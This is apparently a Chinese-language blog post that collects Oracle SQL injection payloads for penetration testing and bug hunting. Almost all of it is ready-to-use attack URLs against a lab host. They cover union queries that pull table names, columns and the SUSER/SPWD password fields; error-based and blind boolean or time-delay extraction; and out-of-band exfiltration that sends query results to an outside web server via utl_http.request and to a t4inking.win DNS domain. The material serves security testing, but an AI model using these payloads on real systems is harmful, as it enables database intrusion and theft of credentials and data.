最近遇到Oracle注入的测试越来越多,而且互联网上oracle注入的总结较为少见,为了能够快速的进行漏洞测试和挖掘,诞生了想要把之前学习的Oracle注入方式进行温习和总结的想法,便写下这一篇关于Oracle注入的总结,本文参考了Oracle官网,互联网上各个前辈的博客以及各大paper。期待和师傅,前辈们的讨论和交流。
本文中的user 的值是SQLINJECTION
基础知识:
1.Oracle 使用查询语句获取数据时需要跟上表名,没有表的情况下可以使用dual,dual是Oracle的虚拟表,用来构成select的语法规则,Oracle保证dual里面永远只有一条记录。
2.Oracle的数据类型是强匹配的(MYSQL有弱匹配的味道),所以在Oracle进行类似UNION查询数据时候必须让对应位置上的数据类型和表中的列的数据类型是一致的,也可以使用null代替某些无法快速猜测出数据类型的位置。
3.Oracle的单行注释符号是--,多行注释符号/**/。
【union 注入】
判断列数:
' order by 3 --
判断回显位置:
' union select null,null,null from dual --
获取数据库版本信息:
' union select null,(select banner from sys.v_$version where rownum=1),null from dual --
获取数据表名:
' union select null,(select table_name from user_tables where rownum=1),null from dual --
' union select null,(select table_name from user_tables where rownum=1 and table_name<>'T_USER'),null from dual --
获取关键表中的列名:
' union select null,(select column_name from user_tab_columns where table_name='T_USER' and rownum=1),null from dual --
' union select null,(select column_name from user_tab_columns where table_name='T_USER' and column_name<>'SUSER' and rownum=1),null from dual --
' union select null,(select column_name from user_tab_columns where table_name='T_USER' and column_name<>'SUSER' and column_name<>'SPWD' and rownum=1),null from dual --
' union select null,(select column_name from user_tab_columns where table_name='T_USER' and column_name<>'SUSER' and column_name<>'SPWD' and column_name<>'SNAME' and rownum=1),null from dual --
获取关键列中的字段数据:
' union select SNAME,SUSER,SPWD from T_USER --
(一)、Oracle 报错注入:
进行测试或漏洞挖掘的时候发现出现了数据库报错信息,可以优先选择报错注入,使用报错的方式将查询数据的结果带出到错误页面中,使用报错注入需要使用类似 1=[报错语句],1>[报错语句],使用比较运算符,这样的方式进行报错注入(MYSQL仅使用函数报错即可),常见的报错函数见以下示例:
0x01 使用utl_inaddr.get_host_name()进行报错注入
http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1' and 1=utl_inaddr.get_host_name((select user from dual))--
0x02 使用ctxsys.drithsx.sn()进行报错注入
http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1' and 1=ctxsys.drithsx.sn(1,(select user from dual))--
0x03 使用XMLType()进行报错注入
http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1' and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null--
0x04 使用dbms_xdb_version.checkin()进行报错注入
http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1' and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null--
0x05 使用dbms_xdb_version.makeversioned()进报错注入
http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1' and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null--
0x06 使用dbms_xdb_version.uncheckout()进行报错注入
http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1' and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null--
0x07 使用dbms_utility.sqlid_to_sqlhash()进行报错注入
http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1' and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null--
0x08 使用ordsys.ord_dicom.getmappingxpath()进行报错注入
http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1' and 1=ordsys.ord_dicom.getmappingxpath((select user from dual),user,user)--
http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1' and 1=ordsys.ord_dicom.getmappingxpath((select banner from v$version where rownum=1),user,user)--
0x09 使用decode进行报错注入,这种方式更偏向布尔型注入,因为这种方式并不会通过报错把查询结果回显回来,仅是用来作为页面的表现不同的判断方法。
http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1'and 1=(select decode(substr(user,1,1),'S',(1/0),0) from dual) --
(二)、Oracle 带外通信获取查询结果的方法:
Oracle 带外通信获取查询结果的方法,是参考自【SQL注入攻击与防御】中的介绍,可以使用Oracle发送HTTP和DNS请求,并将查询结果带到请求中,然后监测外网服务器的HTTP和DNS日志,从日志中获取查询结果(此处并未对HTTP和DNS服务器搭建和配置进行介绍),通过这种方式将繁琐的盲注转换成可以直接简便的获取查询结果的方式,相关函数和方法的使用见如下示例:
0x01 在外网搭建web服务器,并记录请求的日志信息,然后使用utl_http.request()向外网主机发送http请求,请求便携带了查询的结果信息。此处可以结合SSRF进行内网探测 ,或许这就是Oracle的ssrf?!
http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1' and 1=utl_http.request('http://10.10.10.1:80/'||(select banner from sys.v_$version where rownum=1)) --
0x02 利用utl_inaddr.get_host_address(),将查询结果拼接到域名下,并使用DNS记录解析日志,通过这种方式获取查询结果。
参考自【SQL注入攻击与防御】
环境搭建参考自:https://ricterz.me/posts/%E7%AC%94%E8%AE%B0%3A%20Data%20Retrieval%20over%20DNS%20in%20SQL%20Injection%20Attacks
http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1' and (select utl_inaddr.get_host_address((select user from dual)||'.t4inking.win') from dual)is not null--
(三)、Oracle 布尔盲注:
在测试和漏洞挖掘中,并没有出现数据库报错信息,使用测试语句进行测试发现只能通过页面正常与否来判断SQL语句是否执行了,这种情况需要使用布尔盲注,盲注可以使用ASCII(),substr()这种通用组合获取数,如下是使用了个人觉得较为好用的盲注paylaod,在多次漏洞挖掘中均是使用这两个payload,然后加上脚本编程获取数据的,具体操作看如下示例:
0x01 使用decode函数进行布尔盲注,substr(user,1,1)是条件,'S'是要遍历的位置,如果匹配便返回翻译值1,否则使用默认值0
http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1'and 1=(select decode(substr(user,1,1),'S',(1),0) from dual) --
【decode的理解】
decode(条件,值1,翻译值1,值2,翻译值2,...值n,翻译值n,缺省值)的理解如下:
if (条件==值1)
then
return(翻译值1)
elsif (条件==值2)
then
return(翻译值2)
......
elsif (条件==值n)
then
return(翻译值n)
else
return(缺省值)
end if
注:其中缺省值可以是你要选择的column name 本身,也可以是你想定义的其他值,比如Other等;
0x02 使用instr进行布尔盲注,(select user from dual)是查询结果数据,instr会返回‘SQL’位置数据在,查询结果中的位置,未找到便返回0,可以通过对‘SQL’位置进行遍历和迭代,获取到数据。类似MYSQL regexp注入的方法。
http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1'and 1=(instr((select user from dual),'SQL')) --
【instr函数的理解】
instr函数的使用,从一个字符串中查找指定子串的位置。例如:
SQL> select instr('abcdefgh','de') position from dual;
POSITION
----------
4
从1开始算 d排第四所以返回4
(四)、Oracle 时间盲注:
测试和漏洞挖掘中,通过页面响应的状态,这里指的是响应时间,通过这种方式判断SQL是否被执行的方式,便是时间盲注;oracle的时间盲注通常使用DBMS_PIPE.RECEIVE_MESSAGE(),这个也是通过SQLMAP源码中发现的,而另外一种便是decode()与高耗时SQL操作的组合,当然也可以是case,if 等方式与高耗时操作的组合,这里的高耗时操作指的是,例如:(select count(*) from all_objects),对数据库中大量数据进行查询或其他处理的操作,这样的操作会耗费较多的时间,然后通过这个方式来获取数据。这种方式也适用于其他数据库。
0x01 使用DBMS_PIPE.RECEIVE_MESSAGE()进行时间盲注
http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1'and 1=(DBMS_PIPE.RECEIVE_MESSAGE('a',10)) and '1'='1
实际用法:
/SqlInjection/selcet?suser=1' AND 7238=(CASE WHEN (ASCII(SUBSTRC((SELECT NVL(CAST(USER AS VARCHAR(4000)),CHR(32)) FROM DUAL),3,1))>96) THEN DBMS_PIPE.RECEIVE_MESSAGE(CHR(71)||CHR(106)||CHR(72)||CHR(73),1) ELSE 7238 END) AND '1'='1&sname=1
【DBMS_PIPE.RECEIVE_MESSAGE的理解】
来自官网的DBMS_PIPE.RECEIVE_MESSAGE语法:
DBMS_PIPE.RECEIVE_MESSAGE (
pipename IN VARCHAR2,
timeout IN INTEGER DEFAULT maxwait)
RETURN INTEGER;
可以暂时理解成DBMS_PIPE.RECEIVE_MESSAGE('任意值',延迟时间)
0x02 使用decode()进时间盲注
(select count(*) from all_objects) 会花费更多是时间去查询所有数据库的条目,所以以这种方式进行时间判断依据,这是一个骚气的方式。(类比OWASP测试指南中老虎机的案例)
http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1'and 1=(select decode(substr(user,1,1),'S',(select count(*) from all_objects),0) from dual) and '1'='1
使用decode与DBMS_PIPE.RECEIVE_MESSAGE嵌套的方式进行时间盲注。
http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1'and 1=(select decode(substr(user,1,1),'A',DBMS_PIPE.RECEIVE_MESSAGE('RDS',5) ,0) from dual) and '1'='1
小小总结:
Oracle注入平时接触的机会较为少见,近期突然觉得对Oracle注入的测试变多了,所以对前辈们已提出的各种姿势(感谢前辈们),以及自己遇到并测试过较为好用的payload进行总结,方便以后的测试,希望这篇文章可以让那些对Oracle注入手无对策的朋友们有所收获。